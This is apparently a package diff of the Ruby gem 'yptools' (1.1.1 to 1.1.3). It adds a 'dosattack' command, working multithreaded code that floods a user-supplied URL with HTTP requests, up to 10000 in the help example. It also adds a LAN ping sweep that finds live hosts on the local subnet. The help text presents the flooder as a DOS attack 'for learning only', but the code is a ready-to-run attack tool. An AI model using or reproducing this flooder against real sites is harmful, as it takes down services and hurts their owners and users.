yptools 1.1.1 → 1.1.3
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/yptools/dosattack/yp_dosattack.rb +52 -0
- data/lib/yptools/help/yp_help.rb +4 -0
- data/lib/yptools/scanlocalips/yp_scanlocalips.rb +44 -0
- data/lib/yptools.rb +14 -0
- metadata +4 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: a823a2bc7da0e01f28d2c0d70f268c4641970dd7681609ebd6f58c1fa89bdaaf
|
4
|
+
data.tar.gz: 1cc88e0353cb745bb043f06115a0556514d72f6365daf4a931599227d410d731
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: b9ddd0a94e0aa79b51d835827a4eb5017527e1ef43f4e3f647c04de43fd6574c0f5a12f8216897de8926feea9d772d2b46dcfa1b54050040854bede8003941df
|
7
|
+
data.tar.gz: b04456427417ca5df62a22317f24d9267aa79f0a74fd00ade655ed4f9b823cc17d588b07e7c310e2fd05f6d690433528766c1d85a70d291caec6be813adc333d
|
@@ -0,0 +1,52 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'uri'
|
3
|
+
|
4
|
+
class YPDosAttack
|
5
|
+
def self.dosattack(argvs)
|
6
|
+
url = argvs[1]
|
7
|
+
request_count = argvs[2]
|
8
|
+
|
9
|
+
uri = URI(url) # 修改为你想要请求的网址
|
10
|
+
|
11
|
+
n = 10 # 发送 10 个请求
|
12
|
+
concurrency = 5 # 使用 5 个线程
|
13
|
+
if request_count
|
14
|
+
n = request_count.to_i
|
15
|
+
end
|
16
|
+
|
17
|
+
success_count = 0 # 计数器,记录成功次数
|
18
|
+
failure_count = 0 # 计数器,记录失败次数
|
19
|
+
|
20
|
+
mutex = Mutex.new # 互斥锁,用于对计数器的操作加锁
|
21
|
+
|
22
|
+
responses = Array.new(n) # 用于保存响应结果的数组
|
23
|
+
|
24
|
+
threads = []
|
25
|
+
|
26
|
+
n.times do |i|
|
27
|
+
threads << Thread.new do
|
28
|
+
begin
|
29
|
+
response = Net::HTTP.get_response(uri)
|
30
|
+
mutex.synchronize do
|
31
|
+
if response.is_a?(Net::HTTPSuccess)
|
32
|
+
success_count += 1
|
33
|
+
else
|
34
|
+
failure_count += 1
|
35
|
+
end
|
36
|
+
end
|
37
|
+
puts "当前请求结果 #{response.code} #{response.message}" + " -------- #{failure_count + success_count}"
|
38
|
+
rescue StandardError => e
|
39
|
+
failure_count += 1
|
40
|
+
puts "当前请求结果 #{e}" + " -------- #{failure_count + success_count}"
|
41
|
+
end
|
42
|
+
end
|
43
|
+
|
44
|
+
threads.pop(concurrency - 1).each(&:join) if threads.size >= concurrency
|
45
|
+
end
|
46
|
+
|
47
|
+
threads.each(&:join)
|
48
|
+
|
49
|
+
puts "成功次数: #{success_count},失败次数: #{failure_count}"
|
50
|
+
|
51
|
+
end
|
52
|
+
end
|
data/lib/yptools/help/yp_help.rb
CHANGED
@@ -28,8 +28,12 @@ class YPHelp
|
|
28
28
|
use [yptools xpj check] 检查当前目录项目文件是否存在引用的问题
|
29
29
|
|
30
30
|
🤡🤡🤡 - hacker
|
31
|
+
scanlocalips: use [yptools scanlocalips] 扫描本地局域网下所有 IP
|
32
|
+
|
31
33
|
portscan: use [yptools portscan <ip地址或域名> [<端口范围>]] 扫描指定 IP 端口是否开放
|
32
34
|
|
35
|
+
dosattack: use [yptools dosattack <ip> <n>] DOS攻击 「警告:此方法仅用于学习使用」 ip=请求域名 n=攻击次数 (eg: yptools dosattack https://example.com 10000)
|
36
|
+
|
33
37
|
💩💩💩 - 帮助(help)
|
34
38
|
help: use [yptools help] 查看帮助
|
35
39
|
|
@@ -0,0 +1,44 @@
|
|
1
|
+
require 'socket'
|
2
|
+
|
3
|
+
class YPScanLocalIPs
|
4
|
+
|
5
|
+
def self.scanlocalips()
|
6
|
+
self.scan_local_ips
|
7
|
+
end
|
8
|
+
|
9
|
+
def self.ping(ip)
|
10
|
+
IO.popen("ping -c 1 -t 1 #{ip} > /dev/null 2>&1") { |f| f.close }
|
11
|
+
if $?.exitstatus == 0
|
12
|
+
puts ip
|
13
|
+
elsif $?.exitstatus == 2
|
14
|
+
# No route to host
|
15
|
+
elsif $?.exitstatus == 68
|
16
|
+
# Name or service not known
|
17
|
+
end
|
18
|
+
rescue => e
|
19
|
+
# handle exception
|
20
|
+
end
|
21
|
+
|
22
|
+
def self.scan_local_ips
|
23
|
+
# 获取本机IP地址前三位,例如 192.168.0
|
24
|
+
prefix = Socket.ip_address_list.find { |intf| intf.ipv4? && !intf.ipv4_loopback? }.ip_address.split('.')[0, 3].join('.') + '.'
|
25
|
+
threads = []
|
26
|
+
|
27
|
+
# 遍历所有可能的IP地址
|
28
|
+
(1..255).each do |i|
|
29
|
+
threads << Thread.new(prefix, i) do |pr, j|
|
30
|
+
# 组合出IP地址,例如 192.168.0.1
|
31
|
+
ip = "#{pr}#{j}"
|
32
|
+
# 使用ping命令测试是否能够ping通,并手动关闭文件句柄
|
33
|
+
ping(ip)
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
# 等待所有线程执行完毕
|
38
|
+
threads.each(&:join)
|
39
|
+
|
40
|
+
# 输出所有结果
|
41
|
+
results = threads.map(&:value).compact
|
42
|
+
results.each { |ip| puts ip + "🚀" }
|
43
|
+
end
|
44
|
+
end
|
data/lib/yptools.rb
CHANGED
@@ -12,6 +12,8 @@ require_relative 'yptools/autocre/yp_autocre'
|
|
12
12
|
require_relative 'yptools/autocre/yp_autoinit'
|
13
13
|
require_relative 'yptools/chatai/yp_chatai'
|
14
14
|
require_relative 'yptools/portscan/yp_portscan'
|
15
|
+
require_relative 'yptools/scanlocalips/yp_scanlocalips'
|
16
|
+
require_relative 'yptools/dosattack/yp_dosattack'
|
15
17
|
|
16
18
|
class YPTools
|
17
19
|
|
@@ -110,6 +112,10 @@ class YPTools
|
|
110
112
|
yp_log_fail "'yptools portscan ..' 参数缺失"
|
111
113
|
self.help
|
112
114
|
end
|
115
|
+
when 'scanlocalips'
|
116
|
+
self.scanlocalips
|
117
|
+
when 'dosattack'
|
118
|
+
self.dosattack argvs
|
113
119
|
else
|
114
120
|
self.help
|
115
121
|
end
|
@@ -172,6 +178,14 @@ class YPTools
|
|
172
178
|
YPPortScan.portscan(port,range)
|
173
179
|
end
|
174
180
|
|
181
|
+
def self.scanlocalips()
|
182
|
+
YPScanLocalIPs.scanlocalips()
|
183
|
+
end
|
184
|
+
|
185
|
+
def self.dosattack(argvs)
|
186
|
+
YPDosAttack.dosattack(argvs)
|
187
|
+
end
|
188
|
+
|
175
189
|
end
|
176
190
|
|
177
191
|
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: yptools
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.1.
|
4
|
+
version: 1.1.3
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- chenghengsheng
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2023-03-
|
11
|
+
date: 2023-03-27 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: bundler
|
@@ -135,6 +135,7 @@ files:
|
|
135
135
|
- lib/yptools/autocre/yp_autocre.rb
|
136
136
|
- lib/yptools/autocre/yp_autoinit.rb
|
137
137
|
- lib/yptools/chatai/yp_chatai.rb
|
138
|
+
- lib/yptools/dosattack/yp_dosattack.rb
|
138
139
|
- lib/yptools/file/yp_updatecreatedate.rb
|
139
140
|
- lib/yptools/help/yp_help.rb
|
140
141
|
- lib/yptools/install/yp_install.rb
|
@@ -142,6 +143,7 @@ files:
|
|
142
143
|
- lib/yptools/mgc/yp_makegarbagecode.rb
|
143
144
|
- lib/yptools/package/yp_package.rb
|
144
145
|
- lib/yptools/portscan/yp_portscan.rb
|
146
|
+
- lib/yptools/scanlocalips/yp_scanlocalips.rb
|
145
147
|
- lib/yptools/update/yp_update.rb
|
146
148
|
- lib/yptools/xcodeproj/yp_xcodeproj.rb
|
147
149
|
homepage: https://github.com/HansenCCC/YPTools.git
|